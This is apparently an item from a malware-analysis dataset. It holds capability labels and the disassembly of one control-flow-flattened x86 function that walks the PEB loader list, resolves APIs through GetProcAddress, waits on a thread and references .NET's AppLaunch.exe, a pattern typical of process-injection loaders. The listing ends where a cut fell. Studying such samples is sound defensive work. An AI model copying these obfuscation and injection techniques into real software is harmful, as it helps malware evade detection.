Function at 0x402670
Capabilities:
Access peb ldr_data
Check os version
Create thread
Encode data using xor
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4b3a4
call fcn.0043d680
mov eax, dword [0x4b22c0]
lea edi, [ebp - 0x4b210]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xd4c950db
jmp 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xc0569ecb
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaeb52562
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
nop word cs:[eax + eax]
cmp eax, 0xf0ddb48d
jle 0x402760
cmp eax, 0x31c99f92
jg 0x4027e0
cmp eax, 0x13ab162b
jg 0x4029ca
cmp eax, 0x3e8abf6
jle 0x402b97
cmp eax, 0xa4b79b6
jg 0x402f15
cmp eax, 0x51f3e75
jg 0x40349d
cmp eax, 0x42cdfab
jle 0x403e5a
cmp eax, 0x42cdfac
je 0x404bf3
cmp eax, 0x46630bc
je 0x404bfd
cmp eax, 0x50b16f1
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x533465b6
jmp 0x405ddc
cmp eax, 0xb1c2c426
jle 0x402920
cmp eax, 0xce61f9f0
jg 0x402a2d
cmp eax, 0xc0569eca
jle 0x402be3
cmp eax, 0xca836ce8
jg 0x402f56
cmp eax, 0xc78da1be
jg 0x4034f1
cmp eax, 0xc0e986a8
jle 0x403e89
cmp eax, 0xc0e986a9
je 0x404c16
cmp eax, 0xc1126d27
je 0x404c2f
cmp eax, 0xc21fbadb
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xa78cf081
lea eax, [edx + 1]
jmp 0x405c2c
cmp eax, 0x5cb51ff7
jg 0x402a93
cmp eax, 0x414f059e
jle 0x402c8c
cmp eax, 0x533465b5
jg 0x402fa1
cmp eax, 0x47a2a3d1
jg 0x403527
cmp eax, 0x420e012a
jle 0x403ed2
cmp eax, 0x420e012b
je 0x404c39
cmp eax, 0x4605d2ba
je 0x404c43
cmp eax, 0x46e240b0
jne 0x4026e0
mov eax, dword [ebp - 0x4b278]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4b278]
vmovups ymm0, ymmword [0x4a74e6]
vmovups ymm1, ymmword [0x4a74ce]
vmovups ymm2, ymmword [0x4a74ae]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b290]
mov eax, dword [ebp - 0x4b278]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4b290]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b290]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4b27c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b278]
mov ecx, dword [ebp - 0x4b214]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x4b230]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b230]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b248]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [ebp - 0x4b218]
add eax, 0x78
mov dword [ebp - 0x4b2e8], eax
mov eax, 0x872c4b64
jmp 0x4026e0
cmp eax, 0x9c525f9d
jle 0x402b31
cmp eax, 0xa78cf080
jle 0x402ce4
cmp eax, 0xac167d77
jg 0x40300b
cmp eax, 0xa99ec633
jg 0x40355d
cmp eax, 0xa79d8e92
jle 0x403ef2
cmp eax, 0xa79d8e93
je 0x404c5c
cmp eax, 0xa882256a
je 0x404c77
cmp eax, 0xa969302e
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x2f2395e1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xaf89daa0
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b228]
cmovge eax, ebx
mov ecx, dword [ecx]
inc ecx
mov dword [ebp - 0x4b38c], ecx
jmp 0x4026e0
cmp eax, 0x222b84c9
jle 0x402d45
cmp eax, 0x2b16e7b0
jg 0x403052
cmp eax, 0x24088053
jg 0x4035bd
cmp eax, 0x22feb53d
jle 0x403f1c
cmp eax, 0x22feb53e
je 0x404caa
cmp eax, 0x235a8e15
je 0x404cc3
cmp eax, 0x2404ac56
jne 0x4026e0
mov eax, dword [ebp - 0x4b22c]
mov dword [eax], 4
mov eax, 0x4aa59f67
jmp 0x4026e0
cmp eax, 0xded52e56
jle 0x402df7
cmp eax, 0xe5f866b7
jg 0x4030e1
cmp eax, 0xe1a4fc47
jg 0x4035f3
cmp eax, 0xdfda8095
jle 0x403f3c
cmp eax, 0xdfda8096
je 0x404ccd
cmp eax, 0xe0a9d40d
je 0x404d01
cmp eax, 0xe109cfd6
jne 0x4026e0
cmp byte [ebp - 0x4b252], 0
mov eax, 0xc78da1bf
mov ecx, 0x1c68066d
cmovne eax, ecx
jmp 0x4026e0
cmp eax, 0x71a38a80
jg 0x402e5e
cmp eax, 0x6a0f67a9
jle 0x403152
cmp eax, 0x6e83e473
jg 0x40363f
cmp eax, 0x6d5a8f87
jle 0x403f66
cmp eax, 0x6d5a8f88
je 0x404d19
cmp eax, 0x6dbcb2cd
je 0x404d23
cmp eax, 0x6df8faf3
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x67322432
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf243b701
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x4b2a0]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x4b3b0], esi
jmp 0x4026e0
cmp eax, 0x8bedb78c
jg 0x402ec9
cmp eax, 0x8809b44d
jle 0x403193
cmp eax, 0x89d65313
jg 0x403675
cmp eax, 0x88e4f639
jle 0x403f9f
cmp eax, 0x88e4f63a
je 0x404d82
cmp eax, 0x890bd7c0
je 0x404da2
cmp eax, 0x896e0e45
jne 0x4026e0
mov eax, dword [ebp - 0x4b218]
add eax, 0x34
mov dword [ebp - 0x4b300], eax
mov eax, 0x9a6c8ce6
jmp 0x4026e0
cmp eax, 0xfb2548ab
jle 0x4031d4
cmp eax, 0xfd2ccdcc
jg 0x4036d4
cmp eax, 0xfc5f5a8e
jle 0x403fbf
cmp eax, 0xfc5f5a8f
je 0x404dd5
cmp eax, 0xfcabe1f9
je 0x404e2b
cmp eax, 0xfd0b5787
jne 0x4026e0
mov eax, 0x9d9be9ba
jmp 0x4026e0
cmp eax, 0xb6174114
jle 0x403215
cmp eax, 0xbbf8ab43
jg 0x40372b
cmp eax, 0xb7381eca
jle 0x403ffb
cmp eax, 0xb7381ecb
je 0x404e35
cmp eax, 0xb977728f
je 0x404e45
cmp eax, 0xba03a281
jne 0x4026e0
mov eax, dword [ebp - 0x4b294]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x4b294]
mov eax, dword [ebp - 0x4b260]
mov eax, dword [ebp - 0x4b24c]
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b230]
mov eax, dword [ebp - 0x4b27c]
mov eax, dword [ebp - 0x4b290]
mov eax, dword [ebp - 0x4b278]
mov eax, dword [ebp - 0x4b2a8]
mov dword [ebp - 0x4b2a0], 0
mov dword [ebp - 0x4b21c], 1
mov eax, 0x546036d4
jmp 0x4026e0
cmp eax, 0x3b6dd69e
jle 0x40326f
cmp eax, 0x3e7bf773
jg 0x40378b
cmp eax, 0x3d14191f
jle 0x404046
cmp eax, 0x3d141920
je 0x404e98
cmp eax, 0x3d8d0050
je 0x404ebe
cmp eax, 0x3da783e0
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xd77932e3
jmp 0x4053f2
cmp eax, 0xa1df7c34
jle 0x4032bf
cmp eax, 0xa49f3225
jg 0x4037eb
cmp eax, 0xa2124541
jle 0x40408f
cmp eax, 0xa2124542
je 0x404eea
cmp eax, 0xa2493287
je 0x404ef4
cmp eax, 0xa3e4f846
jne 0x4026e0
mov eax, dword [0x4b4418]
mov esi, 0xf18e53c5
mov ebx, 0xdf982538
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xdf982538
jmp 0x405f31
cmp eax, 0x1b7a3b9f
jle 0x403317
cmp eax, 0x2079f832
jg 0x40382d
cmp eax, 0x1db6a9a9
jle 0x4040b5
cmp eax, 0x1db6a9aa
je 0x404f1a
cmp eax, 0x1e2a989b
je 0x404f33
cmp eax, 0x1e7cd230
jne 0x4026e0
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b228]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x4b214]
mov ecx, dword [ebp - 0x4b274]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4b244]
mov eax, dword [ebp - 0x4b240]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b228]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov ecx, dword [ebp - 0x4b25c]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4b244]
mov dword [ecx], eax
mov ecx, 0xb20623a
mov eax, dword [ebp - 0x4b244]
cmp dword [eax], 0
mov eax, 0x5718d045
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0xd9642f0e
jle 0x40336c
cmp eax, 0xdb3fa938
jg 0x40388d
cmp eax, 0xd9a3704d
jle 0x404122
cmp eax, 0xd9a3704e
je 0x404f55
cmp eax, 0xda177cb3
je 0x404f5f
cmp eax, 0xda606e35
jne 0x4026e0
mov eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b338], eax
mov eax, dword [ebp - 0x4b218]
add eax, 0x18
mov dword [ebp - 0x4b33c], eax
mov eax, 0x6a0f67aa
jmp 0x4026e0
cmp eax, 0x79c6c383
jle 0x4033ad
cmp eax, 0x7d47fa30
jg 0x403902
cmp eax, 0x7a7dbe1f
jle 0x40416b
cmp eax, 0x7a7dbe20
je 0x404f8b
cmp eax, 0x7b0a7326
je 0x404fb1
cmp eax, 0x7d3f2026
jne 0x4026e0
mov eax, dword [ebp - 0x4b25c]
push dword [ebp - 0x4b380]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4b244]
mov dword [ecx], eax
mov eax, 0x5718d045
jmp 0x4026e0
cmp eax, 0x92b77050
jle 0x40343a
cmp eax, 0x97e4d6d5
jg 0x403938
cmp eax, 0x9660abbd
jle 0x40418b
cmp eax, 0x9660abbe
je 0x40500b
cmp eax, 0x969b556e
je 0x40501f
cmp eax, 0x96f7be3e
jne 0x4026e0
mov eax, 0xc21fbadb
jmp 0x4026e0
cmp eax, 0x10a8174d
jg 0x40397a
cmp eax, 0xb336546
jle 0x4041ab
cmp eax, 0xb336547
je 0x405039
cmp eax, 0xb9ea311
je 0x405049
cmp eax, 0xf16e868
jne 0x4026e0
mov eax, 0x6964eaa6
jmp 0x4026e0
cmp eax, 0xcc4e9033
jg 0x4039b0
cmp eax, 0xcaaf7331
jle 0x4041e0
cmp eax, 0xcaaf7332
je 0x405085
cmp eax, 0xcb4d4834
je 0x4050b8
cmp eax, 0xcbd79027
jne 0x4026e0
mov dword [ebp - 0x4b2b4], 0
mov eax, 0x2e7e11ae
jmp 0x4026e0
cmp eax, 0x57be0331
jg 0x403a4e
cmp eax, 0x5619e01a
jle 0x404200
cmp eax, 0x5619e01b
je 0x4050cc
cmp eax, 0x56b44f79
je 0x405129
cmp eax, 0x5718d045
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xb977728f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xf2b8e5f7
jmp 0x4026c5
cmp eax, 0xaf510674
jg 0x403aae
cmp eax, 0xac5a10ac
jle 0x404220
cmp eax, 0xac5a10ad
je 0x405133
cmp eax, 0xae3fd9ef
je 0x405149
cmp eax, 0xaeb52562
jne 0x4026e0
mov eax, dword [ebp - 0x4b240]
mov eax, 0xc0569ecb
jmp 0x4026e0
cmp eax, 0x2e7e11ad
jg 0x403af4
cmp eax, 0x2be040dc
jle 0x404255
cmp eax, 0x2be040dd
je 0x405161
cmp eax, 0x2dc560ea
je 0x40518a
cmp eax, 0x2dddbea4
jne 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b224]
mov edx, dword [ebp - 0x4b288]
mov ecx, dword [ecx]
lea eax, [eax + eax*4]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edx + ecx*8 + 0xc]
add ecx, dword [ebp - 0x4b214]
push dword [ebp - 0x4b2a8]
push dword [ebp - 0x4b3a4]
push dword [edx + eax*8 + 8]
push ecx
vzeroupper
call fcn.004025f0
add esp, 0x10
mov eax, dword [ebp - 0x4b220]
mov eax, dword [ebp - 0x4b22c]
mov eax, 0xf4f5026d
jmp 0x4026e0
cmp eax, 0xeb6f0891
jg 0x403b2a
cmp eax, 0xe99d4ada
jle 0x404275
cmp eax, 0xe99d4adb
je 0x40519e
cmp eax, 0xeb2158ea
je 0x4051a8
cmp eax, 0xeb546dee
jne 0x4026e0
mov eax, dword [ebp - 0x4b298]
mov ebx, 0x84bd1386
mov esi, 0xbf0bf7ef
mov eax, dword [eax]
add eax, dword [ebp - 0x4b234]
mov dword [ebp - 0x4b2d0], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbf0bf7ef
jmp 0x40629f
cmp eax, 0x6537b341
jg 0x403b89
cmp eax, 0x5e86f247
jle 0x4042bf
cmp eax, 0x5e86f248
je 0x4051b2
cmp eax, 0x64986bae
je 0x4051ce
cmp eax, 0x64b70301
jne 0x4026e0
mov eax, 0x7d47fa31
jmp 0x4026e0
cmp eax, 0x84199471
jle 0x403bc3
cmp eax, 0x8666a801
jle 0x4042df
cmp eax, 0x8666a802
je 0x4051d8
cmp eax, 0x872c4b64
je 0x405205
cmp eax, 0x877f6b2b
jne 0x4026e0
mov eax, 0x8c1949f5
jmp 0x4026e0
cmp eax, 0xf2b8e5f6
jle 0x403c17
cmp eax, 0xf67fa99f
jle 0x4042ff
cmp eax, 0xf67fa9a0
je 0x405239
cmp eax, 0xf8f83ccb
je 0x405243
cmp eax, 0xf9d53460
jne 0x4026e0
mov eax, 0xdc54c872
jmp 0x4026e0
cmp eax, 0xb32d46da
jle 0x403c80
cmp eax, 0xb4acef5b
jle 0x40433b
cmp eax, 0xb4acef5c
je 0x405259
cmp eax, 0xb5615688
je 0x40527f
cmp eax, 0xb56dd1ff
jne 0x4026e0
mov eax, dword [ebp - 0x4b23c]
mov ecx, dword [ebp - 0x4b284]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [ebp - 0x4b368], eax
mov eax, 0xae3fd9ef
jmp 0x4026e0
cmp eax, 0x346ae533
jle 0x403cd8
cmp eax, 0x363af814
jle 0x404384
cmp eax, 0x363af815
je 0x40528f
cmp eax, 0x396d7c56
je 0x4052b3
cmp eax, 0x39947b63
jne 0x4026e0
cmp byte [ebp - 0x4b253], 0
mov eax, 0x6a5bc27b
mov ecx, 0x57be0332
cmovne eax, ecx
jmp 0x4026e0
cmp eax, 0x9f283559
jle 0x403d0f
cmp eax, 0x9ffc2615
jle 0x4043b2
cmp eax, 0x9ffc2616
je 0x405310
cmp eax, 0xa12b90b6
je 0x405344
cmp eax, 0xa1828aeb
jne 0x4026e0
mov eax, dword [ebp - 0x4b30c]
mov ecx, dword [ebp - 0x4b308]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xa75065d3
mov ecx, 0x9c9368a1
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0x14ee3fab
jle 0x403d5d
cmp eax, 0x17c13579
jle 0x404400
cmp eax, 0x17c1357a
je 0x405377
cmp eax, 0x1966204a
je 0x40538b
cmp eax, 0x19b02201
jne 0x4026e0
mov eax, dword [ebp - 0x4b338]
mov ecx, 0x54f2e70
cmp eax, dword [ebp - 0x4b340]
mov eax, 0x20f36366
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0xd20898ab
jle 0x403d94
cmp eax, 0xd537eb8e
jle 0x40442c
cmp eax, 0xd537eb8f
je 0x4053bf
cmp eax, 0xd77932e3
je 0x4053e1
cmp eax, 0xd8d49b4b
jne 0x4026e0
mov eax, 0x3597e4f7
jmp 0x4026e0
cmp eax, 0x75c912e3
jle 0x403e04
cmp eax, 0x76a27137
jle 0x4044f2
cmp eax, 0x76a27138
je 0x405414
cmp eax, 0x7882f24a
je 0x40541e
cmp eax, 0x78a94882
jne 0x4026e0
mov eax, dword [ebp - 0x4b230]
mov esi, 0x31c99f93
mov ebx, 0x921a1191
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b260]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4b248]
mov dword [ebp - 0x4b2ec], eax
mov eax, dword [ebp - 0x4b230]
mov eax, dword [eax]
mov dword [ebp - 0x4b2f0], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x921a1191
jmp 0x405f39
cmp eax, 0x8d3f95da
jle 0x403e2f
cmp eax, 0x911c8bb1
jle 0x404555
cmp eax, 0x911c8bb2
je 0x405434
cmp eax, 0x91f242d8
je 0x40543e
cmp eax, 0x921a1191
jne 0x4026e0
mov eax, dword [ebp - 0x4b230]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4b260]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4b248]
mov eax, dword [ebp - 0x4b230]
mov eax, 0x78a94882
jmp 0x4026e0
cmp eax, 0x579b6b5
jle 0x40458a
cmp eax, 0x579b6b6
je 0x405457
cmp eax, 0x73184c5
je 0x405470
cmp eax, 0x78c2905
jne 0x4026e0
mov eax, dword [ebp - 0x4b218]
cmp dword [ebp - 0x4b2a4], 0
mov ecx, 0x896e0e45
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4b2c0], eax
mov eax, 0x47a2a3d2
cmove eax, ecx
jmp 0x4026e0
cmp eax, 0xc9874517
jle 0x4045bf
cmp eax, 0xc9874518
je 0x405486
cmp eax, 0xc9d34ba3
je 0x4054ac
cmp eax, 0xca4cddf3
jne 0x4026e0
mov eax, 0x7a7dbe20
jmp 0x4026e0
cmp eax, 0x4aa59f66
jle 0x4045f4
cmp eax, 0x4aa59f67
je 0x4054e1
cmp eax, 0x4e7b18d3
je 0x405521
cmp eax, 0x5286c56f
jne 0x4026e0
mov eax, 0xba03a281
jmp 0x4026e0
cmp eax, 0xaa6b4629
jle 0x40463e
cmp eax, 0xaa6b462a
je 0x405540
cmp eax, 0xaa9d3542
je 0x40554a
cmp eax, 0xabb947db
jne 0x4026e0
mov eax, dword [ebp - 0x4b28c]
mov eax, dword [ebp - 0x4b214]
mov dword [ebp - 0x4b370], eax
mov eax, dword [ebp - 0x4b284]
mov dword [ebp - 0x4b374], eax
mov eax, dword [ebp - 0x4b23c]
mov dword [ebp - 0x4b378], eax
mov eax, 0x7b0a7326
jmp 0x4026e0
cmp eax, 0x27de0d27
jle 0x40466d
cmp eax, 0x27de0d28
je 0x405554
cmp eax, 0x29098d74
je 0x4055b5
cmp eax, 0x2b12681c
jne 0x4026e0
mov eax, 0xda606e35
jmp 0x4026e0
cmp eax, 0xe31a93f0
jle 0x4046c9
cmp eax, 0xe31a93f1
je 0x4055e0
cmp eax, 0xe58a3b07
je 0x40563e
cmp eax, 0xe59e039f
jne 0x4026e0
movzx eax, word [ebp - 0x4b2ae]
mov ecx, dword [ebp - 0x4b324]
cmp ecx, eax
mov eax, 0x1db6a9aa
setl byte [ebp - 0x4b24e]
jmp 0x4026e0
cmp eax, 0x6f4647bf
jle 0x4046e9
cmp eax, 0x6f4647c0
je 0x405648
cmp eax, 0x6f58061c
je 0x405658
cmp eax, 0x6ff1ff71
jne 0x4026e0
mov eax, 0xe59e039f
jmp 0x4026e0
cmp eax, 0x8a5902f9
jle 0x404709
cmp eax, 0x8a5902fa
je 0x405662
cmp eax, 0x8b031689
je 0x40567a
cmp eax, 0x8bc6cefa
jne 0x4026e0
mov eax, dword [ebp - 0x4b29c]
mov esi, 0x5df9a858
mov ebx, 0x800aade3
inc eax
mov dword [ebp - 0x4b280], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x800aade3
jmp 0x405f39
cmp eax, 0xfd513c08
jle 0x404729
cmp eax, 0xfd513c09
je 0x405684
cmp eax, 0xfd799115
je 0x4056bc
cmp eax, 0x2b4cac8
jne 0x4026e0
mov eax, dword [ebp - 0x4b224]
mov ebx, 0x7f678c2e
mov esi, 0xeb6f0892
mov dword [eax], 0
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xeb6f0892
jmp 0x406297
cmp eax, 0xbe7dc872
jle 0x404749
cmp eax, 0xbe7dc873
je 0x4056d2
cmp eax, 0xbf0bf7ef
je 0x4056fc
cmp eax, 0xbf2031da
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xeb2158ea
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2b608bf4
jmp 0x406373
cmp eax, 0x3f66df13
jle 0x404792
cmp eax, 0x3f66df14
je 0x405742
cmp eax, 0x409d214e
je 0x40574c
cmp eax, 0x4102391f
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x96f7be3e
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf2ab7e03
jmp 0x406373
cmp eax, 0xa643a63d
jle 0x4047d0
cmp eax, 0xa643a63e
je 0x40576f
cmp eax, 0xa71836c4
je 0x40577f
cmp eax, 0xa75065d3
jne 0x4026e0
mov eax, dword [ebp - 0x4b218]
mov dword [ebp - 0x4b310], eax
mov eax, 0x409d214e
jmp 0x4026e0
cmp eax, 0x20f36365
jle 0x4047fe
cmp eax, 0x20f36366
je 0x4057b2
cmp eax, 0x21a80246
je 0x4057d4
cmp eax, 0x220f9141
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x3d141920
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1b7a3ba0
jmp 0x406373
cmp eax, 0xdcbcd555
jle 0x40483a
cmp eax, 0xdcbcd556
je 0x4057de
cmp eax, 0xde199ba4
je 0x40582d
cmp eax, 0xde653505
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x2b4cac8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xeb6f0892
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4b224]
cmovge eax, ebx
jmp 0x4026e0
cmp eax, 0x7e64e363
jle 0x404872
cmp eax, 0x7e64e364
je 0x405837
cmp eax, 0x7f52f63b
je 0x405856
cmp eax, 0x7f678c2e
jne 0x4026e0
mov eax, 0x4e7b18d3
jmp 0x4026e0
cmp eax, 0x99e120dd
jle 0x404898
cmp eax, 0x99e120de
je 0x402697
cmp eax, 0x9a6c8ce6
je 0x40587c
cmp eax, 0x9b933cf6
jne 0x4026e0
mov eax, dword [ebp - 0x4b2ac]
mov eax, dword [ebp - 0x4b2ac]
mov eax, 0x2f9af927
jmp 0x4026e0
cmp eax, 0x10ebac11
jle 0x4048fd
cmp eax, 0x10ebac12
je 0x405894
cmp eax, 0x12605115
je 0x4058a4
cmp eax, 0x12842541
jne 0x4026e0
mov eax, 0x1966204a
jmp 0x4026e0
cmp eax, 0xcce8f7b2
jle 0x404929
cmp eax, 0xcce8f7b3
je 0x4058ae
cmp eax, 0xcd7707e3
je 0x4058e1
cmp eax, 0xce553c51
jne 0x4026e0
mov eax, dword [ebp - 0x4b2c8]
mov ecx, dword [ebp - 0x4b238]
mov esi, 0x12842541
mov ebx, 0x27de0d28
mov dword [ebp - 0x4b264], 0
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x4b2bc]
mov dword [ebp - 0x4b2b8], ecx
mov ecx, dword [ebp - 0x4b214]
add eax, ecx
mov dword [ebp - 0x4b268], eax
mov eax, dword [0x4b4418]
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x27de0d28
sete cl
cmove eax, esi
cmp dword [0x4b4414], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x4026e0
cmp eax, 0x59c3200b
jle 0x40495f
cmp eax, 0x59c3200c
je 0x4058fa
cmp eax, 0x59cb05f8
je 0x405949
cmp eax, 0x5c114a91
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xb4acef5c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xaa9d3542
jmp 0x406373
cmp eax, 0xb089f62a
jle 0x40499c
cmp eax, 0xb089f62b
je 0x405971
cmp eax, 0xb09f34a3
je 0x40598b
cmp eax, 0xb0d9aae5
jne 0x4026e0
movzx eax, word [ebp - 0x4b2b0]
shr eax, 0xc
mov dword [ebp - 0x4b350], eax
mov eax, 0x88e4f63a
jmp 0x4026e0
cmp eax, 0x2f4d6fa7
jle 0x4049c2
cmp eax, 0x2f4d6fa8
je 0x405995
cmp eax, 0x2f9af927
je 0x40599f
cmp eax, 0x31c362aa
jne 0x4026e0
mov eax, 0xa78cf081
jmp 0x4026e0
cmp eax, 0xee29a389
jle 0x4049e2
cmp eax, 0xee29a38a
je 0x4059d2
cmp eax, 0xee78fcad
je 0x4059dc
cmp eax, 0xeed17939
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0x22feb53e
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x222b84ca
jmp 0x4026c5
cmp eax, 0x67322431
jle 0x404a02
cmp eax, 0x68a38072
je 0x4059f5
cmp eax, 0x6964eaa6
jne 0x406389
cmp byte [ebp - 0x4b256], 0
mov eax, 0x90c1a267
mov ecx, 0xa49f3226
cmovne eax, ecx
jmp 0x4026e0
cmp eax, 0x8245514e
jg 0x404a61
cmp eax, 0x800aade3
je 0x4059ff
cmp eax, 0x8121d510
jne 0x4026e0
mov edx, dword [0x4b4418]
mov ecx, dword [0x4b4414]
mov esi, 0xfc5f5a8f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6f4647c0
jmp 0x4026c5
cmp eax, 0xf243b700
jg 0x404a8f
cmp eax, 0xf0ddb48e
je 0x405a22
cmp eax, 0xf18e53c5
jne 0x4026e0
mov eax, dword [0x4b4418]
mov ebx, 0xfd49752a
mov esi, 0xdf982538
mov dword [ebp - 0x4b21c], 0xc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdf982538
sete cl
cmove eax, ebx
cmp dword [0x4b4414], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x4026e0
cmp eax, 0xb237aa73
jg 0x404aaf
cmp eax, 0xb1c2c427
je 0x405a3b
cmp eax, 0xb22ef95d
